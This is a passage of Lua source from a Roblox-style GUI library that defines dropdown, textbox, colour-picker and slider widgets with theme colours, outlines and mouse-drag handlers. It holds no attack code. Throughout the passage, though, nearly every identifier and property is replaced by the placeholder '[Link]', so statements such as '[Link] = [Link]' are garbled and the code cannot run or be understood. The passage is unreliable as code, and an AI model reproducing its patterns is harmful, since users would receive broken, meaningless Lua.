[Link] + [Link](-1, -1)
[Link] = false
[Link]:Connect(function(theme)

[Link].BackgroundColor3 = theme.outlinecolor2
end)

[Link] =
[Link]("TextButton", [Link])

[Link] = 1
[Link] = 0
[Link] =
[Link](0, [Link] + 8)
[Link] = [Link](0,
0, 0, 0)
[Link] = 7
[Link] = ""
[Link] = false
[Link] =
false

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link] and { [Link] or [Link][1] or "" } or
([Link] or [Link][1] or "")
end

function dropdown:isSelected(item)
for i, v in pairs([Link]) do
if v == item then
return true
end
end
return false
end

function dropdown:updateText(text)
if #text >= 27 then
text = text:sub(1, 25) .. ".."
end
[Link] = text
end

[Link] =
[Link]("BindableEvent")
function dropdown:Set(value)
if type(value) == "table" then
[Link] = value

dropdown:updateText([Link](value, ", "))


pcall([Link], value)
else
dropdown:updateText(value)
[Link] = { value }
pcall([Link], value)
end

[Link]:Fire(value)
if [Link] and [Link] ~= ""
then
[Link][[Link]] =
[Link] and [Link] or [Link][1]
end
end

function dropdown:Get()
return [Link] and
[Link] or [Link][1]
end

[Link] = { }
function dropdown:Add(v)
local Item = [Link]("TextButton",
[Link])
Item.BackgroundColor3 =
[Link](40, 40, 40)
Item.TextColor3 = [Link](255,
255, 255)
[Link] = 0
[Link] = [Link](0, 0)
[Link] =
[Link]([Link] - 4, 20)
[Link] = 9
[Link] = v
[Link] = v
[Link] = false
[Link] = [Link]
[Link] = 15
[Link] =
[Link]
[Link] = 1
[Link] =
[Link] + [Link](0, [Link].Y)

Item.MouseButton1Down:Connect(function()
if [Link] then
if dropdown:isSelected(v)
then
for i2, v2 in
pairs([Link]) do
if v2 == v then

[Link]([Link], i2)
end
end

dropdown:Set([Link])
else

[Link]([Link], v)

dropdown:Set([Link])
end

return
else
[Link] = 90
[Link] =
false
[Link] =
false
[Link]
= false

[Link] = false

[Link] = false

[Link] = false

[Link] = false
end

dropdown:Set(v)
return
end)

[Link]:Connect(function()
if [Link] and
dropdown:isSelected(v) or [Link][1] == v then
Item.BackgroundColor3 =
[Link](64, 64, 64)
Item.TextColor3 =
[Link]
[Link] = " " .. v
else
Item.BackgroundColor3 =
[Link](40, 40, 40)
Item.TextColor3 =
[Link](255, 255, 255)
[Link] = v
end
end)

[Link]([Link], v)
[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)
[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]
end

function dropdown:Remove(value)
local item =
[Link]:FindFirstChild(value)
if item then
for i,v in pairs([Link]) do
if v == value then

[Link]([Link], i)
end
end

[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)

[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]

item:Remove()
end
end

for i,v in pairs([Link]) do


dropdown:Add(v)
end

if [Link] then
dropdown:Set([Link])
end

local MouseButton1Down = function()


if [Link] == 90 then
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
-90 }):Play()
if [Link] and
#[Link] ~= 0 then

[Link] = true
[Link] = false
[Link] =
true
[Link] =
true

[Link] = true

[Link] = true
[Link]
= true

[Link] = true

[Link] = true
end
else
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
90 }):Play()

[Link] = false
[Link]
= true
[Link] = false
[Link] = false
[Link]
= false
[Link] =
false
[Link] =
false
[Link]
= false
[Link]
= false
end
end

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
[Link]([Link], dropdown)
return dropdown
end
function toggle:AddTextbox(default, callback, flag)
local textbox = { }
[Link] = callback or function() end
[Link] = default
[Link] = ""
[Link] = flag or ( ([Link] or "") ..
tostring(#([Link]:GetChildren())) .. "a")

[Link] = [Link]("Frame",
[Link])
[Link] = "holder"
[Link] = 5
[Link] =
[Link]([Link] - 12, 14)
[Link] = 0
[Link].BackgroundColor3 =
[Link](255, 255, 255)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](39, 39, 39)) })

[Link] = [Link]("TextBox",
[Link])
[Link] = ""
[Link] = ""
[Link] = 1
[Link] = [Link]
[Link] = "textbox"
[Link] = false
[Link] = false
[Link] = 5
[Link] = true
[Link] = [Link]
[Link] = 15
[Link].TextColor3 = [Link](255,
255, 255)
[Link] = 0
[Link].BackgroundColor3 =
[Link](30, 30, 30)
[Link] =
[Link]

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link] or ""
end

function textbox:Set(text)
[Link] = text
[Link] = text
if [Link] and [Link] ~= ""
then
[Link][[Link]] = text
end
pcall([Link], text)
end
[Link]:Connect(function(theme)
[Link] = [Link]
end)

function textbox:Get()
return [Link]
end

if [Link] then
textbox:Set([Link])
end

[Link]:Connect(function()
textbox:Set([Link])
end)

textbox.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link]
+ [Link](6, 6)
[Link] = 0
textbox.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
textbox.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2,
-2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link]:Connect(function()
textbox.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
textbox.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
[Link]([Link], textbox)
return textbox
end

function toggle:AddColorpicker(default, callback,


flag)
local colorpicker = { }

[Link] = callback or function()


end
[Link] = default or
[Link](255, 255, 255)
[Link] = [Link]
[Link] = flag or ( ([Link] or
"") .. tostring(#[Link]:GetChildren()))

[Link] = [Link]("Frame",
[Link])
[Link] = 6
[Link] = 0
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = [Link](16,
10)

[Link] =
[Link]("UIGradient", [Link])
[Link] = 90

local clr =
[Link]([Link]([Link].R / 1.7, 0, 1),
[Link]([Link].G / 1.7, 0, 1), [Link]([Link].B / 1.7,
0, 1))
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, clr) })

colorpicker.BlackOutline2 =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
colorpicker.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
if
[Link][[Link]] then

colorpicker.BlackOutline2.BackgroundColor3 = [Link]
else

colorpicker.BlackOutline2.BackgroundColor3 = theme.outlinecolor2
end
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] =
[Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3
= theme.outlinecolor2
end)

[Link]:Connect(function()

colorpicker.BlackOutline2.BackgroundColor3 = [Link]
end)

[Link]:Connect(function()
if not
[Link][[Link]] then

colorpicker.BlackOutline2.BackgroundColor3 = [Link].outlinecolor2
end
end)

[Link] =
[Link]("TextButton", [Link])
[Link] = "picker"
[Link] = 100
[Link] = false
[Link] = false
[Link] = ""

[Link][[Link]] = false
[Link] =
[Link](180, 196)
[Link] = 0
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] =
0.000000000000001
[Link] =
[Link](-[Link].X +
[Link].X, 17)

colorpicker.BlackOutline3 =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
colorpicker.BlackOutline3.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)

colorpicker.BlackOutline3.BackgroundColor3 = theme.outlinecolor2
end)

colorpicker.Outline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](4, 4)
[Link] = 0
colorpicker.Outline2.BackgroundColor3 =
[Link]
[Link] =
[Link](-2, -2)
[Link]:Connect(function(theme)
colorpicker.Outline2.BackgroundColor3 =
[Link]
end)
colorpicker.BlackOutline3 =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](2, 2)
[Link] = 0
colorpicker.BlackOutline3.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)

colorpicker.BlackOutline3.BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("ImageLabel",
[Link])
[Link] = 101
[Link] = [Link](0,3,0,3)
[Link] = [Link](0,172,0,172)
[Link] =
"rbxassetid://4155801252"
[Link] =
[Link]
[Link].BackgroundColor3 =
[Link](1,0,0)
[Link].BorderColor3 =
[Link].outlinecolor2
[Link]:Connect(function(theme)
[Link].BorderColor3 =
theme.outlinecolor2
end)

[Link] =
[Link]("ImageLabel", [Link])
[Link] = 101

[Link] = 1
[Link]
= 0
[Link] =
[Link](0, 0, 0, 0)
[Link] =
[Link](0, 7, 0, 7)
[Link] =
"rbxassetid://6885856475"

[Link] =
[Link]("TextLabel", [Link])
[Link] = 100
[Link] =
[Link](0,3,0,181)
[Link] =
[Link](0,173,0,10)
[Link].BackgroundColor3 =
[Link](255,255,255)
[Link].BorderColor3 =
[Link].outlinecolor2
[Link] = ""
[Link]:Connect(function(theme)
[Link].BorderColor3 =
theme.outlinecolor2
end)

[Link] =
[Link]("UIGradient", [Link])
[Link] =
[Link]({
[Link](0,
[Link](1,0,0)),
[Link](0.17,
[Link](1,0,1)),

[Link](0.33,[Link](0,0,1)),

[Link](0.5,[Link](0,1,1)),
[Link](0.67,
[Link](0,1,0)),
[Link](0.83,
[Link](1,1,0)),
[Link](1,
[Link](1,0,0))
})

[Link] = [Link]("Frame",
[Link])
[Link] = 101
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] =
[Link](0,0,0,0)
[Link] = [Link](0,2,0,10)
[Link].BorderColor3 =
[Link](255, 255, 255)

if [Link] and [Link] ~= ""


then
[Link][[Link]] =
[Link]
end

function colorpicker:RefreshHue()
local x = (mouse.X -
[Link].X) / [Link].X
local y = (mouse.Y -
[Link].Y) / [Link].Y

[Link]:TweenPosition([Link]([Link](x *
[Link].X, 0.5, 0.952 * [Link].X) /
[Link].X, 0, [Link](y * [Link].Y,
0.5, 0.885 * [Link].Y) / [Link].Y, 0),
[Link], [Link], 0.05)

colorpicker:Set([Link]([Link], [Link](x *
[Link].X, 0.5, 1 * [Link].X) /
[Link].X, 1 - ([Link](y * [Link].Y,
0.5, 1 * [Link].Y) / [Link].Y)))
end

function colorpicker:RefreshSelector()
local pos = [Link]((mouse.X -
[Link].X) / [Link].X, 0, 1)
[Link] = 1 - pos

[Link]:TweenPosition([Link](pos, 0, 0, 0),
[Link], [Link], 0.05)
[Link].BackgroundColor3 =
[Link](1 - pos, 1, 1)

local x =
([Link].X -
[Link].X) / [Link].X
local y =
([Link].Y -
[Link].Y) / [Link].Y

colorpicker:Set([Link]([Link], [Link](x *
[Link].X, 0.5, 1 * [Link].X) /
[Link].X, 1 - ([Link](y * [Link].Y,
0.5, 1 * [Link].Y) / [Link].Y)))
end

function colorpicker:Set(value)
local color =
[Link]([Link](value.r, 0, 1), [Link](value.g, 0, 1),
[Link](value.b, 0, 1))
[Link] = color
if [Link] and [Link]
~= "" then
[Link][[Link]] =
color
end
local clr = [Link]([Link](color.R
/ 1.7, 0, 1), [Link](color.G / 1.7, 0, 1), [Link](color.B / 1.7, 0, 1))
[Link] =
[Link]({ [Link](0.00, color),
[Link](1.00, clr) })
pcall([Link], color)
end

function colorpicker:Get(value)
return [Link]
end
colorpicker:Set([Link])

local dragging_selector = false


local dragging_hue = false

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_selector = true
colorpicker:RefreshSelector()
end
end)
[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_selector = false
colorpicker:RefreshSelector()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_hue = true
colorpicker:RefreshHue()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_hue = false
colorpicker:RefreshHue()
end
end)

[Link]:Connect(function(input)
if dragging_selector and
[Link] == [Link] then
colorpicker:RefreshSelector()
end
if dragging_hue and [Link]
== [Link] then
colorpicker:RefreshHue()
end
end)

local inputBegan = function(input)


if [Link] ==
[Link].MouseButton1 then
for i,v in
pairs([Link]) do
if v and i ~=
[Link] then
[Link] = false

[Link][i] = false
end
end

[Link] =
not [Link]

[Link][[Link]] =
[Link]
if
[Link][[Link]] then
colorpicker.BlackOutline2.BackgroundColor3 = [Link]
else

colorpicker.BlackOutline2.BackgroundColor3 = [Link].outlinecolor2
end
end
end

[Link]:Connect(inputBegan)

[Link]:Connect(inputBegan)

[Link]:Connect(inputBegan)
[Link]([Link], colorpicker)
return colorpicker
end

function toggle:AddSlider(min, default, max,


decimals, callback, flag)
local slider = { }
[Link] = text or ""
[Link] = callback or function(value)
end
[Link] = min or 0
[Link] = max or 100
[Link] = decimals or 1
[Link] = default or [Link]
[Link] = flag or ( ([Link] or "") ..
tostring(#[Link]:GetChildren()))

[Link] = [Link]
local dragging = false

[Link] = [Link]("TextButton",
[Link])
[Link] = "slider"
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = [Link](0, 0)
[Link] = 0
[Link] =
[Link]([Link] - 12, 12)
[Link] = false
[Link] = ""
[Link] = 7

[Link] = [Link]("TextLabel",
[Link])
[Link] = 1
[Link] = [Link]
[Link] = [Link]
[Link] = "0"
[Link].TextColor3 =
[Link](240, 240, 240)
[Link] =
[Link]
[Link] = false
[Link] = 15
[Link] = 9
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 =
[Link]
end)

slider.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
slider.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
slider.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2,
-2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](41, 41, 41)) })

[Link] = [Link]("Frame",
[Link])
[Link].BackgroundColor3 =
[Link](255, 255, 255) --[Link](204, 0, 102)
[Link] = 8
[Link] = 0
[Link] = [Link](0,
[Link])

slider.Gradient2 = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, [Link].accentcolor2) })
[Link]:Connect(function(theme)
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, theme.accentcolor2) })
end)

[Link]:Connect(function()
slider.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
slider.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link] or [Link] or 0
end

function slider:Get()
return [Link]
end

function slider:Set(value)
[Link] =
[Link]([Link](value * [Link]) / [Link], [Link],
[Link])
local percent = 1 - (([Link] -
[Link]) / ([Link] - [Link]))
if [Link] and [Link] ~= "" then
[Link][[Link]] =
[Link]
end

[Link]:TweenSize([Link](percent *
[Link].X, [Link].Y), [Link],
[Link], 0.05)
[Link] = [Link]
pcall([Link], [Link])
end
slider:Set([Link])

function slider:Refresh()
local mousePos =
camera:WorldToViewportPoint([Link].p)
local percent = [Link](mousePos.X -
[Link].X, 0, [Link].X) /
[Link].X
local value = [Link](([Link] +
([Link] - [Link]) * percent) * [Link]) / [Link]
value = [Link](value, [Link],
[Link])
slider:Set(value)
end

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = true
slider:Refresh()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = false
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = true
slider:Refresh()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = false
end
end)

[Link]:Connect(function(input)
if dragging and [Link] ==
[Link] then
slider:Refresh()
end
end)
sector:FixSize()
[Link]([Link], slider)
return slider
end

[Link].MouseButton1Down:Connect(function()
toggle:Set(not [Link])
end)
[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
toggle:Set(not
[Link])
end
end)

local MouseEnter = function()


toggle.BlackOutline2.BackgroundColor3 =
[Link]
end
local MouseLeave = function()
toggle.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end

[Link]:Connect(MouseEnter)
[Link]:Connect(MouseLeave)
[Link]:Connect(MouseEnter)
[Link]:Connect(MouseLeave)

sector:FixSize()
[Link]([Link], toggle)
return toggle
end

function sector:AddTextbox(text, default, callback, flag)


local textbox = { }
[Link] = text or ""
[Link] = callback or function() end
[Link] = default
[Link] = ""
[Link] = flag or text or ""

[Link] = [Link]("TextButton",
[Link])
[Link] = "Label"
[Link] = false
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link] = 1
[Link] =
[Link]([Link], 0)
[Link] =
[Link]([Link] - 12, 0)
[Link] = [Link]
[Link] = 5
[Link] = [Link]
[Link].TextColor3 = [Link]
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("Frame", [Link])


[Link] = "holder"
[Link] = 5
[Link] =
[Link]([Link] - 12, 14)
[Link] = 0
[Link].BackgroundColor3 = [Link](255,
255, 255)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](39, 39, 39)) })

[Link] = [Link]("TextBox",
[Link])
[Link] = [Link]
[Link].PlaceholderColor3 = [Link](190,
190, 190)
[Link] = ""
[Link] = 1
[Link] = [Link]
[Link] = "textbox"
[Link] = false
[Link] = false
[Link] = 5
[Link] = true
[Link] = [Link]
[Link] = 15
[Link].TextColor3 = [Link](255, 255,
255)
[Link] = 0
[Link].BackgroundColor3 = [Link](30,
30, 30)
[Link] =
[Link]

if [Link] and [Link] ~= "" then


[Link][[Link]] = [Link]
or ""
end

function textbox:Set(text)
[Link] = text
[Link] = text
if [Link] and [Link] ~= "" then
[Link][[Link]] = text
end
pcall([Link], text)
end
[Link]:Connect(function(theme)
[Link] = [Link]
end)

function textbox:Get()
return [Link]
end

if [Link] then
textbox:Set([Link])
end

[Link]:Connect(function()
textbox:Set([Link])
end)

textbox.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
textbox.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-3,
-3)
[Link]:Connect(function(theme)
textbox.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame", [Link])


[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1,
-1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link]:Connect(function()
textbox.BlackOutline2.BackgroundColor3 =
[Link]
end)
[Link]:Connect(function()
textbox.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
[Link]([Link], textbox)
return textbox
end

function sector:AddSlider(text, min, default, max,


decimals, callback, flag)
local slider = { }
[Link] = text or ""
[Link] = callback or function(value) end
[Link] = min or 0
[Link] = max or 100
[Link] = decimals or 1
[Link] = default or [Link]
[Link] = flag or text or ""

[Link] = [Link]
local dragging = false

[Link] = [Link]("Frame", [Link])


[Link] = "MainBack"
[Link] = 7
[Link] =
[Link]([Link] - 12, 25)
[Link] = 0
[Link] = 1

[Link] = [Link]("TextLabel",
[Link])
[Link] = 1
[Link] =
[Link]([Link] - 12, 6)
[Link] = [Link]
[Link] = [Link] .. ":"
[Link].TextColor3 = [Link]
[Link] = [Link](0, 0)
[Link] = 15
[Link] = 4
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)

local size =
textservice:GetTextSize([Link], [Link],
[Link], [Link](200,300))
[Link] = [Link]("TextBox",
[Link])
[Link] = 1
[Link] = false
[Link] =
[Link]([Link] - size.X - 15, 12)
[Link] = [Link]
[Link] = "0"
[Link].TextColor3 =
[Link]
[Link] = [Link](size.X
+ 3, -3)
[Link] = 15
[Link] = 4
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]

local size =
textservice:GetTextSize([Link], [Link],
[Link], [Link](200,300))
[Link] =
[Link]([Link] - size.X - 15, 12)
end)

[Link] = [Link]("TextButton",
[Link])
[Link] = "slider"
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link] = [Link](0, 15)
[Link] = 0
[Link] =
[Link]([Link] - 12, 12)
[Link] = false
[Link] = ""
[Link] = 5

slider.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
slider.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-3,
-3)
[Link]:Connect(function(theme)
slider.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)
[Link] = [Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1, -
1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](41, 41, 41)) })

[Link] = [Link]("Frame", [Link])


[Link].BackgroundColor3 =
[Link](255, 255, 255) --[Link](204, 0, 102)
[Link] = 5
[Link] = 0
[Link] = [Link](0,
[Link])

slider.Gradient2 = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, [Link].accentcolor2) })
[Link]:Connect(function(theme)
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, theme.accentcolor2) })
end)

[Link]:Connect(function()
slider.BlackOutline2.BackgroundColor3 =
[Link]
end)
[Link]:Connect(function()
slider.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

if [Link] and [Link] ~= "" then


[Link][[Link]] = [Link] or
[Link] or 0
end

function slider:Get()
return [Link]
end

function slider:Set(value)
[Link] = [Link]([Link](value *
[Link]) / [Link], [Link], [Link])
local percent = 1 - (([Link] -
[Link]) / ([Link] - [Link]))
if [Link] and [Link] ~= "" then
[Link][[Link]] = [Link]
end

[Link]:TweenSize([Link](percent *
[Link].X, [Link].Y), [Link],
[Link], 0.05)
[Link] = [Link]
pcall([Link], [Link])
end
slider:Set([Link])

[Link]:Connect(function(Return)
if not Return then
return
end
if ([Link]:match("^%d+$")) then

slider:Set(tonumber([Link]))
else
[Link] =
tostring([Link])
end
end)

function slider:Refresh()
local mousePos =
camera:WorldToViewportPoint([Link].p)
local percent = [Link](mousePos.X -
[Link].X, 0, [Link].X) /
[Link].X
local value = [Link](([Link] +
([Link] - [Link]) * percent) * [Link]) / [Link]
value = [Link](value, [Link],
[Link])
slider:Set(value)
end
[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = true
slider:Refresh()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = false
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = true
slider:Refresh()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging = false
end
end)

[Link]:Connect(function(input)
if dragging and [Link] ==
[Link] then
slider:Refresh()
end
end)

sector:FixSize()
[Link]([Link], slider)
return slider
end

function sector:AddColorpicker(text, default, callback,


flag)
local colorpicker = { }

[Link] = text or ""


[Link] = callback or function() end
[Link] = default or [Link](255,
255, 255)
[Link] = [Link]
[Link] = flag or text or ""

[Link] = [Link]("TextLabel",
[Link])
[Link] = 1
[Link] = [Link](156, 10)
[Link] = 4
[Link] = [Link]
[Link] = [Link]
[Link].TextColor3 =
[Link]
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = 6
[Link] = 0
[Link] =
[Link]([Link] - 29, 0)
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = [Link](16, 10)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90

local clr = [Link]([Link]([Link].R


/ 1.7, 0, 1), [Link]([Link].G / 1.7, 0, 1),
[Link]([Link].B / 1.7, 0, 1))
[Link] =
[Link]({ [Link](0.00, [Link]),
[Link](1.00, clr) })

colorpicker.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
colorpicker.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
colorpicker.BlackOutline2.BackgroundColor3 =
[Link][[Link]] and [Link] or
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -
2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link]
+ [Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link]:Connect(function()
colorpicker.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
if not
[Link][[Link]] then

colorpicker.BlackOutline2.BackgroundColor3 = [Link].outlinecolor2
end
end)

[Link] = [Link]("TextButton",
[Link])
[Link] = "picker"
[Link] = 100
[Link] = false
[Link] = false
[Link] = ""
[Link][[Link]] =
false
[Link] = [Link](180,
196)
[Link] = 0
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] = 0.000000000000001
[Link] = [Link](-
[Link].X + [Link].X, 15)

colorpicker.BlackOutline3 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
colorpicker.BlackOutline3.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
colorpicker.BlackOutline3.BackgroundColor3 =
theme.outlinecolor2
end)

